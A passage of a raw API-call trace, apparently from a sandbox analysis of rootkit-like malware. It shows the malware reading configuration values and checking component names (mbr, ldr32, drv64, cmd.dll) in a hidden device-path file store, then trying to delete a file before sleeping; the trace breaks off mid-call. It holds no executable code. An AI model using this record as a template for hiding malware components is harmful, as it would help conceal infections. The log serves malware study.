[0122.076] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.076] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.077] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.077] IdePortDispatch () returned 0x103 [0122.077] KeWaitForMutexObject () returned 0x0 [0122.077] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.077] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.077] KeLeaveCriticalRegion () [0122.077] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.077] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.077] KeEnterCriticalRegion () [0122.077] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.077] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c21000 [0122.077] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.077] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.077] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.077] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.077] IdePortDispatch () returned 0x103 [0122.077] KeWaitForMutexObject () returned 0x0 [0122.077] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.077] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.077] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.077] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.077] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.077] IdePortDispatch () returned 0x103 [0122.077] KeWaitForMutexObject () returned 0x0 [0122.078] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.078] KeLeaveCriticalRegion () [0122.078] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.078] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.078] KeEnterCriticalRegion () [0122.078] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.078] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.078] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.078] KeLeaveCriticalRegion () [0122.078] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.078] KeEnterCriticalRegion () [0122.078] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.078] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.078] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be3910, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.078] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.078] KeLeaveCriticalRegion () [0122.078] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.078] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.078] KeEnterCriticalRegion () [0122.078] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.078] ExFreePoolWithTag (P=0xfffffa8003be3e10, Tag=0x0) [0122.078] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.078] KeLeaveCriticalRegion () [0122.078] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.078] ReleaseMutex (hMutex=0xf0) returned 1 [0122.078] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.078] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.079] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.079] KeEnterCriticalRegion () [0122.079] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.079] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.079] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.079] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.079] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.079] IdePortDispatch () returned 0x103 [0122.079] KeWaitForMutexObject () returned 0x0 [0122.079] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.079] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.079] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.079] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.079] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.079] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be3a50 [0122.079] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.079] KeLeaveCriticalRegion () [0122.079] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.079] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.079] KeEnterCriticalRegion () [0122.079] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.079] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.079] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.079] KeLeaveCriticalRegion () [0122.079] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.079] KeEnterCriticalRegion () [0122.079] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.079] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.079] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.079] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.079] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.079] IdePortDispatch () returned 0x103 [0122.079] KeWaitForMutexObject () returned 0x0 [0122.080] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.080] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.080] KeLeaveCriticalRegion () [0122.080] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.080] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.080] KeEnterCriticalRegion () [0122.080] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.080] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c22000 [0122.080] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.080] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.080] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.080] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.080] IdePortDispatch () returned 0x103 [0122.080] KeWaitForMutexObject () returned 0x0 [0122.080] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.080] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.080] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.080] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.080] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.080] IdePortDispatch () returned 0x103 [0122.080] KeWaitForMutexObject () returned 0x0 [0122.080] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.080] KeLeaveCriticalRegion () [0122.080] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.081] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.081] KeEnterCriticalRegion () [0122.081] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.081] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.081] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.081] KeLeaveCriticalRegion () [0122.081] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.081] KeEnterCriticalRegion () [0122.081] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.081] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.081] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc6570, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.081] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.081] KeLeaveCriticalRegion () [0122.081] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.081] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.081] KeEnterCriticalRegion () [0122.081] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.081] ExFreePoolWithTag (P=0xfffffa8003be3a50, Tag=0x0) [0122.081] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.081] KeLeaveCriticalRegion () [0122.081] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.081] ReleaseMutex (hMutex=0xf0) returned 1 [0122.081] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.081] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0122.081] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.081] KeEnterCriticalRegion () [0122.081] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.081] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.081] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.081] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.081] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.081] IdePortDispatch () returned 0x103 [0122.082] KeWaitForMutexObject () returned 0x0 [0122.082] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.082] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.082] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.082] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.082] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.082] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc9550 [0122.082] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.082] KeLeaveCriticalRegion () [0122.082] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.082] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.082] KeEnterCriticalRegion () [0122.082] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.082] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.082] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.082] KeLeaveCriticalRegion () [0122.082] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.082] KeEnterCriticalRegion () [0122.082] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.082] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.082] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.082] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.082] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.082] IdePortDispatch () returned 0x103 [0122.082] KeWaitForMutexObject () returned 0x0 [0122.082] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.082] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.082] KeLeaveCriticalRegion () [0122.082] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.083] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.083] KeEnterCriticalRegion () [0122.083] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.083] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c23000 [0122.083] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.083] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.083] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.083] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.083] IdePortDispatch () returned 0x103 [0122.083] KeWaitForMutexObject () returned 0x0 [0122.083] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.083] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.083] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.083] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.083] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.083] IdePortDispatch () returned 0x103 [0122.083] KeWaitForMutexObject () returned 0x0 [0122.083] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.083] KeLeaveCriticalRegion () [0122.083] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.084] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.084] KeEnterCriticalRegion () [0122.084] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.084] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.084] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.084] KeLeaveCriticalRegion () [0122.084] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.084] KeEnterCriticalRegion () [0122.084] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.084] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.084] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bd6630, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.084] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.084] KeLeaveCriticalRegion () [0122.084] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.084] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.084] KeEnterCriticalRegion () [0122.084] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.084] ExFreePoolWithTag (P=0xfffffa8003bc9550, Tag=0x0) [0122.084] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.084] KeLeaveCriticalRegion () [0122.084] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.084] ReleaseMutex (hMutex=0xf0) returned 1 [0122.084] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0122.084] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0122.084] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0122.084] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0122.084] KeEnterCriticalRegion () [0122.084] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.084] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.084] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.084] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.084] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.084] IdePortDispatch () returned 0x103 [0122.084] KeWaitForMutexObject () returned 0x0 [0122.085] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.085] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0122.085] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.085] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.085] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.085] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.085] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.085] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.085] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.085] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0122.085] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.085] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.085] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.085] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.085] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.085] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.085] KeLeaveCriticalRegion () [0122.085] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.085] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0122.085] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0122.085] KeEnterCriticalRegion () [0122.085] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.085] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.085] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.085] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.085] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.085] IdePortDispatch () returned 0x103 [0122.085] KeWaitForMutexObject () returned 0x0 [0122.085] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.085] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0122.085] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.085] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.085] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.085] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.085] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.085] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.085] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.085] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0122.085] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.086] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.086] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.086] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.086] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.086] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.086] KeLeaveCriticalRegion () [0122.086] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.086] ReleaseMutex (hMutex=0x100) returned 1 [0122.086] Sleep (dwMilliseconds=0x2bf20) [0122.093] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: 